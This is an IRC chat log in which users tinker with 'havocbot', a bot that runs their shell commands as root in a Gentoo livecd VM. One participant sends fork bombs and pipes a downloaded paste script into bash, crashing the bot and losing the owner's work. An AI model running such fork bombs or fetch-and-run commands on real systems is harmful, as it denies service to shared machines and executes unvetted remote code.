16:58:40 <havocbot> moon_:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src:stage3-i686-20160607.tar.bz2:sys:usr
16:58:47 <prooftechnique> This is a very weird livecd
16:58:54 <moon_> just need t- its from 2015
16:58:55 <moon_> ik
16:59:01 <moon_> its ridiculous
16:59:07 <moon_> idk what is up with it
16:59:12 <prooftechnique> If I open an ed session, is it going to explode? :D
16:59:12 <b_jonas> moon_: um, shouldn't you do that only when I'm not here?
16:59:15 <moon_> but im gonna download a new one later
16:59:23 <moon_> no
16:59:31 <b_jonas> like, in saturday night and morning?
16:59:33 <moon_> it will just run in the backround
16:59:43 <moon_> go ahead, use it, idk
16:59:46 <moon_> *idc
17:00:00 <moon_> i will slap you if you open another bashbot session, tho
17:00:31 <moon_> oh god
17:00:35 <moon_> the disk ran out of space
17:00:40 <moon_> i need to make another one >_>
17:00:47 -!- havocbot has quit (Remote host closed the connection).
17:00:48 <prooftechnique> havocbot: export CFLAGS="-march=native -O2 -pipe"
17:00:52 <moon_> bad havoc
17:00:54 <moon_> baaad
17:01:07 <prooftechnique> Good night, sweet prince
17:01:49 <prooftechnique> I predict 30 days from inception to the birth of havocbotnet from the ashes of havocbot
17:01:53 <moon_> ok, virtualbox should expand the drive this time
17:02:12 <b_jonas> havocbot: df
17:02:16 <b_jonas> havocbot: mount
17:02:20 <moon_> wiat
17:02:22 <moon_> wait
17:02:23 <moon_> dummy
17:02:24 -!- bender has quit (Quit: Leaving).
17:02:30 <moon_> its offline
17:02:49 -!- augur has joined.
17:03:08 <moon_> ill make another 8 gb drive, but ill have it be fixed, so the 8gb already exist
17:03:19 <ybden> This is highly entertaining.
17:03:39 <b_jonas> aww
17:03:43 <moon_> ok
17:03:48 <moon_> livecd stinks
17:03:56 <moon_> it turns out it didnt save anything at all
17:03:59 <moon_> grrr
17:04:08 <prooftechnique> Kind of the nature of a livecd if you don't run the installer
17:04:12 <moon_> i lost all my mods heh
17:04:25 <moon_> and how do i do that?
17:04:56 <moon_> well reimplenting my mods will only take a second
17:05:17 <prooftechnique> https://wiki.gentoo.org/wiki/Handbook:Main_Page
17:05:23 <prooftechnique> The same way everyone installs Gentoo
17:06:49 <qrf> zomg Linux noob
17:07:12 <b_jonas> moon_: ah, so you are doing this correctly after all
17:07:18 <b_jonas> because it was offline when I noticed
17:07:19 <b_jonas> damn
17:07:48 <prooftechnique> No bot has ever been named more appropriately
17:08:06 <moon_> hah very funny
17:09:33 <prooftechnique> qrf: Gentoo was my distro of choice for several months when the only hard drive I had was dying, and only Gentoo would get through installation and actually run on the thing. I still have no idea why
17:09:53 <asie> Gentoo is held together by magic and Python scripts
17:09:57 <prooftechnique> As far as I know, there's a USE flag for it
17:10:43 <qrf> I used Gentoo for a couple of years, too
17:10:45 <asie> I wonder if Gentoo has an USE flag for not crashing
17:10:47 <qrf> Switched to Arch after that
17:10:51 <asie> ever
17:11:03 <prooftechnique> USE="chewinggum ducttape -safetynet"
17:14:18 <moon_> what was the no endline sed command i used again?
17:15:00 <prooftechnique> endline?
17:15:08 <prooftechnique> Like EOL, or newline?
17:16:48 <moon_> nvm
17:16:54 -!- havocbot has joined.
17:17:23 <moon_> havocbot: echo i have been revived by necormantic wizardy
17:17:36 <moon_> wait i broke something
17:17:37 <moon_> again
17:17:40 -!- havocbot has quit (Remote host closed the connection).
17:18:08 <prooftechnique> Make sure to save a snapshot when you get it working
17:18:26 <moon_> i will (;
17:18:33 -!- havocbot has joined.
17:19:12 <moon_> havocbot: ls
17:19:12 <havocbot> moon_:bashbot-master/bashbot.config/bashbot.pid/master.zip
17:19:18 <moon_> theeereeee we go!
17:19:37 <prooftechnique> havocbot: whoami
17:19:38 <havocbot> prooftechnique:root
17:19:49 <prooftechnique> Woof
17:20:05 <moon_> snapshot done
17:20:38 <moon_> feel free to tinker, or break something (not on purpose tho, or i will murder you)
17:20:53 <moon_> i'll be watching
17:21:19 <moon_> also, note i changed the : to /
17:21:26 <moon_> i thought the : was ugly
17:21:31 <prooftechnique> havocbot: :(){ :|:& };:
17:21:38 <moon_> havocbot: ls
17:21:38 <havocbot> moon_:bashbot-master/bashbot.config/bashbot.pid/master.zip
17:21:48 <moon_> it runs parallels
17:21:54 <prooftechnique> perl -e "fork while fork" &
17:21:58 <moon_> wait is that a forkbomb?
17:22:02 <moon_> really-.=
17:22:02 <prooftechnique> havocbot: perl -e "fork while fork" &
17:22:15 <prooftechnique> Now it's running two forkbombs in parallel :)
17:22:28 <prooftechnique> Assuming it even has perl
17:22:32 <moon_> it does
17:22:45 <moon_> funny thing tho: its not, the cpu is 1-2%
17:23:14 <moon_> my game of factorio is useing more mem
17:23:27 <moon_> and cpu
17:23:30 <prooftechnique> havocbot: ulimit -a
17:23:30 <havocbot> prooftechnique:core file size (blocks, -c) 0/data seg size (kbytes, -d) unlimited/scheduling priority (-e) 0/file size (blocks, -f) unlimited/pending signals (-i) 7003/max locked memory (kbytes, -l) 64/max memory size (kbytes, -m) unlimited/open files (-n) 1024/pipe size (512 bytes, -p) 8/POSIX message queues (bytes, -q) 819
17:23:41 <prooftechnique> havocbot: top
17:23:52 <moon_> failed tty get
17:24:14 <moon_> stderr does not print here, if anyone knows how to get it to do so, i.e echoing it, please tell me
17:24:15 <prooftechnique> havocbot: ulimit -u
17:24:15 <havocbot> prooftechnique:7003
17:25:35 <prooftechnique> moon_: Redirection. >&2
17:26:10 <moon_> ok thx
17:26:12 <moon_> ill try it
17:26:13 -!- havocbot has quit (Remote host closed the connection).
17:26:13 <prooftechnique> Oh, sorry, I mean >&1
17:26:19 <prooftechnique> Wait, no
17:26:24 <prooftechnique> Now I'm all backwards
17:26:25 <prooftechnique> Hang on
17:26:30 <moon_> im listening
17:26:43 <prooftechnique> Ah, there we go. 2>&1
17:27:01 <prooftechnique> Oh, the bot died
17:27:08 <moon_> im editing it dummy
17:27:24 <prooftechnique> Oh. Well, I would expect to say something like
17:27:34 <prooftechnique> havocbot: nonexistentcommand 2>&1
17:28:23 <moon_> ok i think it should work
17:28:31 -!- havocbot has joined.
17:28:48 <moon_> havocbot: ls derpfail
17:28:48 <havocbot> moon_:ls: cannot access derpfail: No such file or directory
17:28:52 <moon_> yay
17:29:25 <moon_> ok, NOW you can all tinker
17:29:44 <prooftechnique> perl -e "fork while fork" &
17:29:47 <prooftechnique> havocbot: perl -e "fork while fork" &
17:29:47 <havocbot> prooftechnique:Can't find string terminator '"' anywhere before EOF at -e line 1.
17:30:01 <prooftechnique> havocbot: perl -e "fork while fork"
17:30:01 <havocbot> prooftechnique:Can't find string terminator '"' anywhere before EOF at -e line 1.
17:30:05 <prooftechnique> Weird
17:30:09 <moon_> try bashing it
17:30:17 <prooftechnique> havocbot: :(){ :|:& };:
17:30:17 <havocbot> prooftechnique:./bashbot-master/bashbot: line 175: :(){: command not found
17:30:29 <moon_> run it in bash silly
17:30:48 <prooftechnique> Is it not a bash shell already?
17:30:58 <prooftechnique> havocbot: bash -c ':(){ :|:& };:'
17:30:59 <havocbot> prooftechnique::|:&: -c: line 0: unexpected EOF while looking for matching `''/:|:&: -c: line 1: syntax error: unexpected end of file
17:31:03 <moon_> "$cmd" "$@" runs commands
17:31:37 <moon_> using $@ magic
17:31:39 <prooftechnique> havocbot: echo "#!/bin/bash" >> fork.sh
17:31:40 <havocbot> prooftechnique:"#!/bin/bash" >> fork.sh
17:31:53 <prooftechnique> havocbot: cat fork.sh
17:31:54 <havocbot> prooftechnique:cat: fork.sh: No such file or directory
17:32:00 <moon_> *lol*
17:32:17 <moon_> oerjan discovered a trick last night, figure it out if you can :P
17:32:25 <moon_> actually
17:32:30 <moon_> i need to check something
17:32:36 -!- havocbot has quit (Remote host closed the connection).
17:33:35 -!- havocbot has joined.
17:33:41 <moon_> i think i forgot to strip a bash exploit protection from the original
17:34:00 <moon_> now try?
17:34:38 <prooftechnique> havocbot: echo "#!/bin/bash" | tee -a fork.sh
17:34:39 <havocbot> prooftechnique:"#!/bin/bash" | tee -a fork.sh
17:34:47 <moon_> pff
17:34:51 <moon_> in bash
17:35:02 <prooftechnique> What in bash?
17:35:09 <moon_> the command
17:35:24 <prooftechnique> What command?
17:35:31 <moon_> .-.
17:35:38 <moon_> echo "#!/bin/bash" | tee -a fork.sh
17:35:52 <moon_> havocbot: bash -c ' echo "#!/bin/bash" | tee -a fork.sh '
17:36:02 <moon_> havocbot: cat fork.sh
17:36:08 <havocbot> moon_:echo: -c: line 0: unexpected EOF while looking for matching `''/echo: -c: line 1: syntax error: unexpected end of file
17:36:11 <moon_> i froze it
17:36:16 <moon_> damn u bash
17:36:27 <prooftechnique> I return the .-.
17:39:12 <prooftechnique> havocbot: awk 'BEGIN { print "#!/bin/bash" }' > fork.sh
17:39:16 <prooftechnique> havocbot: cat fork.sh
17:39:24 -!- moon__ has joined.
17:39:25 <moon__> my internet died
17:39:44 <moon__> someone kick havocbot
17:39:50 <moon__> its a ghost nick
17:39:52 <prooftechnique> RIP (Requiescat Internet Protocol)
17:40:02 <moon__> oerjan?
17:40:23 <prooftechnique> fungot: kick havocbot
17:40:23 <fungot> prooftechnique: a lot of
17:40:29 <prooftechnique> Worth a shot :D
17:40:32 <moon__> lol
17:40:52 -!- moon_ has quit (Ping timeout: 250 seconds).
17:41:02 -!- havocbot has quit (Ping timeout: 272 seconds).
17:41:09 <moon__> ill write in some bash to make it add _'s later
17:41:29 -!- havocbot has joined.
17:42:15 <moon__> ok proof, go ahead, tinker :P
17:42:19 <moon__> its open for bussiness
17:42:25 <prooftechnique> havocbot: cat fork.sh
17:42:26 <havocbot> prooftechnique:cat: fork.sh: No such file or directory
17:42:30 <prooftechnique> havocbot: awk 'BEGIN { print "#!/bin/bash" }' > fork.sh
17:42:30 <havocbot> prooftechnique:awk: cmd. line:1: 'BEGIN/awk: cmd. line:1: ^ invalid char ''' in expression
17:42:59 <prooftechnique> havocbot: awk \'BEGIN { print "#!/bin/bash" }\' > fork.sh
17:42:59 <havocbot> prooftechnique:awk: cmd. line:1: \'BEGIN/awk: cmd. line:1: ^ backslash not last character on line
17:43:23 <prooftechnique> havocbot: touch fork.sh
17:43:44 <moon__> write it, put it on pastebin, and wget it
17:43:51 <moon__> that is, until we have something mk like
17:44:09 <prooftechnique> That would be simpler, I suppose.
17:44:14 -!- lynn has quit.
17:44:38 <prooftechnique> havocbot: which wget
17:44:38 <havocbot> prooftechnique:/usr/bin/wget
17:44:54 <moon__> i used wget alot, so there is no need checkin
17:45:07 <prooftechnique> havocbot: rm fork.sh
17:45:42 <moon__> `url bin/mk
17:45:47 <moon__> `url bin/echo-p
17:45:50 <moon__> `url bin/mkx
17:45:56 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk
17:46:02 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/echo-p
17:46:06 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mkx
17:47:18 <prooftechnique> havocbot: wget -q -O - http://sprunge.us/CLGK | bash
17:48:31 <prooftechnique> havocbot: top
17:48:31 <havocbot> prooftechnique:top: failed tty get
17:48:53 <prooftechnique> havocbot: grep 'cpu ' /proc/stat
17:48:53 <havocbot> prooftechnique:grep: ': No such file or directory
17:49:07 <moon__> bad array subscript is printing on my end
17:49:10 <moon__> what did you do
17:49:15 <moon__> wait
17:49:26 <moon__> you ran bash unary without args
17:49:30 <moon__> ):<
17:49:56 <prooftechnique> Did the forkbomb work, yet?
17:50:00 <moon__> no
17:50:02 <moon__> (=
17:50:27 <moon__> .7 -- 2.6 cpu
17:50:34 <prooftechnique> wget -O fork.sh http://sprunge.us/CLGK
17:50:35 <moon__> havocbot: wget http://pastebin.com/raw/HgsSBDzp
17:50:36 <havocbot> moon__:--2016-06-10 03:53:39-- http://pastebin.com/raw/HgsSBDzp/Resolving pastebin.com..., to pastebin.com||:80... connected./HTTP request sent, awaiting response... 200 OK/Length: unspecified [text/plain]/Saving to: 'HgsSBDzp'// 0K 1.26M=0s//2016-06-10 03:53:40 (1.26 MB/s) - 'HgsSBDzp' saved [62]/
17:50:40 <prooftechnique> havockbot wget -O fork.sh http://sprunge.us/CLGK
17:50:48 <moon__> havocbot: wget -o echo-p http://pastebin.com/raw/HgsSBDzp
17:51:00 <moon__> havocbot: ls
17:51:00 <havocbot> moon__:HgsSBDzp/HgsSBDzp.1/bashbot-master/bashbot.config/bashbot.pid/echo-p/master.zip
17:51:04 <prooftechnique> havockbot: wget -O fork.sh http://sprunge.us/CLGK
17:51:09 <prooftechnique> havocbot: wget -O fork.sh http://sprunge.us/CLGK
17:51:10 <havocbot> prooftechnique:--2016-06-10 03:54:13-- http://sprunge.us/CLGK/Resolving sprunge.us...,,, .../Connecting to sprunge.us||:80... connected./HTTP request sent, awaiting response... 200 OK/Length: 24 [text/plain]/Saving to: 'fork.sh'// 0K 100% 1.06M=0s//2016-06-10 03:54:13 (1.06 MB/s) - 'fork.sh' saved [24/24]/
17:51:13 <prooftechnique> What is wrong with me?
17:51:21 <prooftechnique> havocbot: ./fork.sh
17:51:21 <havocbot> prooftechnique:./bashbot-master/bashbot: line 173: ./fork.sh: Permission denied
17:51:27 <moon__> ...
17:51:32 <prooftechnique> havocbot: chmod +x fork.sh
17:51:35 <prooftechnique> havocbot: ./fork.sh
17:51:39 <moon__> havocbot: wget -o mk http://pastebin.com/raw/rCu7GHCY
17:52:04 <prooftechnique> havocbot: cat fork.sh
17:52:26 <moon__> havocbot: wget -o mkx http://pastebin.com/raw/CZvHsfqv
17:52:27 -!- atrapado has quit (Ping timeout: 276 seconds).
17:52:42 <prooftechnique> havocbot: ls
17:52:59 <prooftechnique> Did I kill it? :D
17:53:03 <moon__> ...
17:53:07 <moon__> yea
17:53:10 <moon__> *smack*
17:53:25 <moon__> and you made me lose my work
17:53:34 <prooftechnique> :(
17:53:39 <prooftechnique> Well, I won't do that again
17:53:42 <moon__> im adding a ignore list
17:54:03 * prooftechnique weeps
17:54:10 <moon__> just kidding
17:54:10 <prooftechnique> I guess I could just change my nick
17:54:13 <moon__> dont do it again
17:54:21 <prooftechnique> I solemnly swear I shan't
17:54:40 <moon__> good, or i will have oerjan flay you alive if you bypass the ignore
17:54:52 -!- havocbot has quit (Remote host closed the connection).
17:55:57 <moon__> hopefully the snapshot was not lost
17:56:04 <moon__> or i will still flay you alive
17:56:12 <prooftechnique> https://files.catbox.moe/g4qo0a.jpg
17:56:19 <moon__> its here
17:56:21 <moon__> god
17:56:38 -!- havocbot has joined.
17:56:39 <moon__> havocbot: wget -o mk http://pastebin.com/raw/rCu7GHCY
17:56:44 <moon__> wget -o mkx http://pastebin.com/raw/CZvHsfqv
17:56:45 <prooftechnique> havocbot: which god
17:56:58 <moon__> wget -o echo-p http://pastebin.com/raw/HgsSBDzp
17:57:00 <moon__> *good
17:57:03 <moon__> im atheist
17:57:11 <moon__> havocbot: ls
17:57:11 <havocbot> moon__:bashbot-master/bashbot.config/bashbot.pid/master.zip/mk/rCu7GHCY
17:57:24 <moon__> havocbot: wget -o mkx http://pastebin.com/raw/CZvHsfqv
17:57:33 <moon__> havocbot: wget -o echo-p http://pastebin.com/raw/HgsSBDzp
17:57:50 <moon__> you know how to change the path in gentoo?
17:57:55 <moon__> mkdir bin
17:58:05 <moon__> havocbot: mkdir bin
17:58:07 <prooftechnique> export PATH, same as usual
17:58:16 <moon__> havocbot: mv mk bin/mk
17:58:24 <moon__> mv echo-p bin/echo-p
17:58:32 <moon__> havocbot: mv echo-p bin/echo-p
17:58:40 <moon__> havocbot: mv mkx bin/mkx
17:58:46 <moon__> add the bin to the path for me, will you?
17:58:51 <moon__> then let me snapshot it
17:59:17 <moon__> havocbot: export #test
17:59:33 <prooftechnique> havocbot: echo 'export PATH=bin:$PATH' >> .bashrc
17:59:33 <havocbot> prooftechnique:'export PATH=bin:$PATH' >> .bashrc
17:59:43 <prooftechnique> havocbot: export PATH=bin:$PATH
17:59:48 <prooftechnique> havocbot: echo $PATH
17:59:49 <havocbot> prooftechnique:$PATH
17:59:55 <prooftechnique> :|
18:00:12 <moon__> havocbot: bash -c echo{,$PATH}
18:00:13 <havocbot> moon__:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:00:19 <moon__> i win
18:00:37 <moon__> havocbot: mk
18:00:47 <moon__> not found :P
18:00:56 <moon__> idk why the not found messages stay in stderr and not here
18:00:59 <prooftechnique> That's because it didn't write the path
18:01:11 <prooftechnique> You need to add the 2>&1 redirect again
18:01:23 -!- havocbot has quit (Remote host closed the connection).
18:03:57 <prooftechnique> havocbot: bash -c "echo export PATH=$HOME/bin:$PATH >> .bashrc""
18:04:03 <prooftechnique> Oh, not back, yet
18:07:13 <prooftechnique> havocbot: bash -c echo{,$HOME}
18:09:05 -!- havocbot has joined.
18:09:20 <moon__> boo prooftechnique
18:09:29 <prooftechnique> havocbot: bash -c echo{,$HOME}
18:09:30 <havocbot> prooftechnique:echo/root
18:09:41 <prooftechnique> havocbot: pwd
18:09:41 <havocbot> prooftechnique:/root
18:09:52 <prooftechnique> havocbot: cat .bashrc
18:09:52 <havocbot> prooftechnique:#!/bin/bash//if [ ! "$(grep nox /proc/cmdline)" ]/then/if [ -x /usr/bin/X ]/then/if [ -e /etc/startx -a $(tty) = "/dev/tty1" ];/then/rm -f /etc/startx/##STARTX/[ -f /etc/motd ] && cat /etc/motd/fi/fi/fi
18:10:14 <prooftechnique> havocbot: cat .profile
18:10:14 <havocbot> prooftechnique:cat: .profile: No such file or directory
18:10:40 <moon__> cat /.profile
18:12:19 <prooftechnique> wget -O /.profile http://sprunge.us/HACJ
18:12:25 <prooftechnique> havocbot: wget -O /.profile http://sprunge.us/HACJ
18:12:25 <havocbot> prooftechnique:--2016-06-10 03:39:08-- http://sprunge.us/HACJ/Resolving sprunge.us...,,, .../Connecting to sprunge.us||:80... connected./HTTP request sent, awaiting response... 200 OK/Length: 28 [text/plain]/Saving to: '/.profile'// 0K 100% 182K=0s//2016-06-10 03:39:08 (182 KB/s) - '/.profile' saved [28/28]/
18:12:45 <prooftechnique> Oh, whoops, that's not what I wanted
18:12:54 <prooftechnique> havocbot: wget -q -O .profile http://sprunge.us/HACJ
18:13:02 <prooftechnique> havocbot: source .profile
18:13:22 <prooftechnique> havocbot: bash -c echo{,$PATH}
18:13:22 <havocbot> prooftechnique:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:13:40 <prooftechnique> Dang it :|
18:13:51 <prooftechnique> havocbot: cat .profile
18:13:52 <havocbot> prooftechnique:export PATH=$HOME/bin:$PATH
18:14:48 <prooftechnique> havocbot: bash -v
18:15:15 <prooftechnique> havocbot: bash --version
18:15:15 <havocbot> prooftechnique:GNU bash, version 4.3.33(1)-release (i486-pc-linux-gnu)/Copyright (C) 2013 Free Software Foundation, Inc./License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>//This is free software; you are free to change and redistribute it./There is NO WARRANTY, to the extent permitted by law.
18:15:18 <prooftechnique> That's what I meant
18:15:49 <prooftechnique> havocbot: export PATH=$HOME/bin:$PATH
18:15:57 <prooftechnique> havocbot: bash -c echo{,$PATH}
18:15:58 <havocbot> prooftechnique:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:16:09 <prooftechnique> Well, I just do not know what to make of that
18:17:34 <prooftechnique> havocbot: bash .profile
18:17:39 <prooftechnique> havocbot: bash -c echo{,$PATH}
18:17:39 <havocbot> prooftechnique:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:19:06 <prooftechnique> havocbot: cat /etc/paths
18:19:06 <havocbot> prooftechnique:cat: /etc/paths: No such file or directory
18:19:54 <zzo38> Is there command that can be used in Linux which can tell you which screen you are on?
18:19:58 <prooftechnique> Oh, duh, that's just an OS X thing
18:20:07 <prooftechnique> zzo38: Screen meaning?
18:20:31 <zzo38> I mean if you push CTRL+ALT+F1 and so on to switch to different screens
18:21:04 <prooftechnique> That's probably dependent on your WM/DM
18:21:29 <zzo38> No it isn't, it is built-in to the kernel
18:22:31 <prooftechnique> What about the $DISPLAY variable?
18:22:34 -!- atrapado has joined.
18:22:49 <zzo38> That is for X
18:23:07 <zzo38> But what I am asking is independent of X
18:24:45 <prooftechnique> Maybe tty?
18:25:04 -!- hppavilion[1] has joined.
18:25:14 <hppavilion[1]> lambdy?
18:25:21 <hppavilion[1]> OK, no notifications
18:26:02 <zzo38> The tty command will tell you the filename
18:26:39 <prooftechnique> Is that not enough information? What output are you expecting?
18:26:40 <moon__> ok its alive
18:27:07 <moon__> wait did you fork bomb it?
18:27:08 <zzo38> But I want to know which filename is which one, so that I can program in the .profile which screen I am on and whether or not to automatically start X, so that on screen 2 I acn login without C.
18:27:17 <moon__> nvm
18:27:19 <moon__> good
18:27:52 -!- havocbot has quit (Ping timeout: 250 seconds).
18:27:58 <zzo38> s/C/X/
18:28:12 <moon__> it crashed
18:28:14 <moon__> >_>
18:28:19 -!- havocbot has joined.
18:28:28 <moon__> i should make a auto revive script
18:28:57 <moon__> havocbot: ls
18:28:57 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY
18:28:59 <prooftechnique> zzo38: I don't know if the assignment of tty IDs is sequential, but if it is, that might be helpful
18:29:09 <moon__> snapshotting
18:29:11 -!- havocbot has quit (Remote host closed the connection).
18:29:45 <moon__> there
18:29:48 -!- havocbot has joined.
18:29:53 <moon__> continue on :P
18:30:09 <prooftechnique> havocbot: who
18:30:10 <havocbot> prooftechnique:root tty1 Jun 10 03:06/root tty3 Jun 10 03:06/root tty6 Jun 10 03:06/root tty4 Jun 10 03:06/root tty5 Jun 10 03:06/root tty2 Jun 10 03:06
18:30:25 <prooftechnique> zzo38: I guess there's who, too
18:31:02 -!- hwpplayer1 has joined.
18:31:56 <moon__> use where to verify if a dangerous command exists\
18:32:20 <prooftechnique> havocbot: where rm
18:32:21 <havocbot> prooftechnique:./bashbot-master/bashbot: line 170: where: command not found
18:32:25 <b_jonas> havocbot: df
18:32:25 <havocbot> b_jonas:Filesystem 1K-blocks Used Available Use% Mounted on/udev 10240 4 10236 1% /dev/tmpfs 450440 61892 388548 14% ///dev/loop0 179584 179584 0 100% /mnt/livecd//dev/sr0 206652 206652 0 100% /mnt/cdrom/tmpfs 90088 396 89692 1% /run/shm 450440 0 450440 0% /dev/shm/cgroup_root 10240 0 10240 0
18:32:26 <moon__> oh
18:32:30 <b_jonas> havocbot: mount
18:32:30 <havocbot> b_jonas:proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)/udev on /dev type devtmpfs (rw,nosuid,relatime,size=10240k,nr_inodes=112063,mode=755)/devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620)/sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)/tmpfs on / type tmpfs (rw,relatime)//dev/loop0 on /mnt/livecd type squashfs (ro,relatime)//dev/sr0 on /mnt/cdrom type iso9660 (ro,relatime)/tmpfs on /run type tmpfs (
18:32:32 <moon__> maybe where doesnt exist, haha
18:33:18 <moon__> havocbot: ls /mnt
18:33:18 <havocbot> moon__:cdrom/gentoo/key/livecd
18:33:32 <moon__> gentoo is the secondary perm disk
18:33:36 <moon__> use it if you want
18:34:13 <b_jonas> havocbot: curl -O train.jpt https://upload.wikimedia.org/wikipedia/commons/thumb/1/13/RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg/640px-RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg
18:34:15 <moon__> havocbot: ./mk
18:34:15 <havocbot> moon__:./bashbot-master/bashbot: line 170: ./mk: No such file or directory
18:35:06 <moon__> what is that curl doing?
18:35:22 <b_jonas> havocbot: sha1sum train.jpg
18:35:22 <havocbot> b_jonas:sha1sum: train.jpg: No such file or directory
18:35:24 <b_jonas> havocbot: sha1sum train.jpt
18:35:24 <havocbot> b_jonas:sha1sum: train.jpt: No such file or directory
18:35:39 <b_jonas> havocbot: curl -o train.jpt https://upload.wikimedia.org/wikipedia/commons/thumb/1/13/RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg/640px-RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg
18:35:40 <havocbot> b_jonas: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/
18:35:41 <moon__> havocbot: ls
18:35:41 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpt
18:35:43 <b_jonas> havocbot: sha1sum train.jpt
18:35:43 <havocbot> b_jonas:43a6294e385868acbdd0b669bd50f4d37da4347c train.jpt
18:35:48 <b_jonas> havocbot: mv train.jpt train.jpg
18:35:50 <moon__> why?
18:36:07 <b_jonas> yup, it can access the internet
18:36:24 <moon__> did i not already use wget in it? -.-
18:36:57 <moon__> which do you prefer: havocbot or hackego?
18:38:26 <prooftechnique> hackego is 12.5% better because it is 12.5% shorter
18:38:36 <moon__> lol
18:38:38 <b_jonas> havocbot echo 4B/mEYnkTyMJAE8AgD114LnjMcYmZSbgcKFYhaXxmec
18:38:50 <moon__> you forgot the :
18:38:51 <prooftechnique> Though tab completion renders that a nonissue
18:38:58 <b_jonas> moon__: I'm testing if the bot works that way
18:39:06 <b_jonas> havocbot: echo STQkBp6OoS3I9dN0nOPYnfLkD1wlziD28sSzFgfuNsg
18:39:06 <havocbot> b_jonas:STQkBp6OoS3I9dN0nOPYnfLkD1wlziD28sSzFgfuNsg
18:39:09 <moon__> it works if you /query or msg it
18:39:30 <moon__> you dont even have to use havocbot: if you query or msg it
18:39:39 <b_jonas> havocbot: echo 4m+6MAU3 bJ9qF1UX
18:39:39 <havocbot> b_jonas:4m+6MAU3 bJ9qF1UX
18:40:20 <b_jonas> havocbot: (c=Ra3AsMCi; echo MD0NxVx9 ${c:0:4} SwInWdjo
18:40:20 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: (c=Ra3AsMCi;: command not found
18:40:30 <b_jonas> havocbot: bash -c (c=Ra3AsMCi; echo MD0NxVx9 ${c:0:4} SwInWdjo)
18:40:31 <havocbot> b_jonas:echo: -c: line 1: syntax error: unexpected end of file
18:40:33 <b_jonas> havocbot: bash -c '(c=Ra3AsMCi; echo MD0NxVx9 ${c:0:4} SwInWdjo)'
18:40:33 <havocbot> b_jonas:echo: -c: line 0: unexpected EOF while looking for matching `''/echo: -c: line 1: syntax error: unexpected end of file
18:40:34 <prooftechnique> havocbot: which emacs
18:40:34 <havocbot> prooftechnique:/usr/bin/emacs
18:40:40 <b_jonas> ok wait
18:40:49 <b_jonas> I'll have to make a script so I can run any command
18:40:55 <b_jonas> a moment
18:41:03 <moon__> that'll help
18:41:26 <moon__> maybe lets make /mnt/gentoo/bin a perm path dir to store commands in
18:41:35 <moon__> havocbot: mkdir /mnt/gentoo/bin
18:41:38 <prooftechnique> havocbot: emacs --eval="(doctor)"
18:41:39 <havocbot> prooftechnique:emacs: invalid option -- '-'/usage: emacs [-n] [-f mode] [+number] [file ...]
18:41:43 <b_jonas> havocbot: pwd
18:41:44 <havocbot> b_jonas:/root
18:41:50 <b_jonas> havocbot: echo $PATH
18:41:50 <havocbot> b_jonas:$PATH
18:42:13 <b_jonas> havocbot: type perl
18:42:13 <havocbot> b_jonas:perl is /usr/bin/perl
18:42:20 <moon__> havocbot: ls /mnt/gentoo/bin
18:42:27 <moon__> havocbot: ls /mnt/gentoo/
18:42:28 <havocbot> moon__:bin
18:42:36 <moon__> that bin dir is permnate
18:42:40 <moon__> it will never be deleted
18:43:16 <prooftechnique> havocbot: emacs -batch --eval="(doctor)"
18:43:17 <havocbot> prooftechnique:emacs: invalid option -- 'b'/usage: emacs [-n] [-f mode] [+number] [file ...]
18:43:27 <prooftechnique> havocbot: emacs --batch --eval="(doctor)"
18:43:27 <havocbot> prooftechnique:emacs: invalid option -- '-'/usage: emacs [-n] [-f mode] [+number] [file ...]
18:43:30 <moon__> that is unless i get rid of the gentoo drive (;
18:43:32 <prooftechnique> :/
18:43:42 <moon__> so please put magical scripts in there
18:44:06 <moon__> and data in general
18:44:08 <prooftechnique> havocbot: emacs --version
18:44:08 <havocbot> prooftechnique:emacs: invalid option -- '-'/usage: emacs [-n] [-f mode] [+number] [file ...]
18:44:22 <b_jonas> havocbot: is it in the path?
18:44:22 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: is: command not found
18:44:25 <b_jonas> um
18:44:29 <b_jonas> moon__: is it in the path?
18:44:40 <moon__> im n good at paths :P
18:44:44 <prooftechnique> moon__: What have you done to emacs? :|
18:45:00 <moon__> you can view the path with echo{,$PATH} and nothing
18:45:03 <b_jonas> moon__: never mind, we'll find out soon
18:45:07 <b_jonas> just a fwe minutes
18:45:22 -!- hwpplayer1 has quit (Quit: Leaving.).
18:45:25 <moon__> thats the emacs that came with it
18:45:42 <prooftechnique> It doesn't understand --version :|
18:45:46 <moon__> :|
18:45:47 <moon__> idk
18:45:55 <int-e> "mg — emacs-like text editor"
18:46:11 <prooftechnique> havocbot: type emacs
18:46:11 <havocbot> prooftechnique:emacs is /usr/bin/emacs
18:46:34 <prooftechnique> havocbot: man emacs | head
18:46:34 <int-e> http://man.openbsd.org/OpenBSD-5.6/man1/mg.1
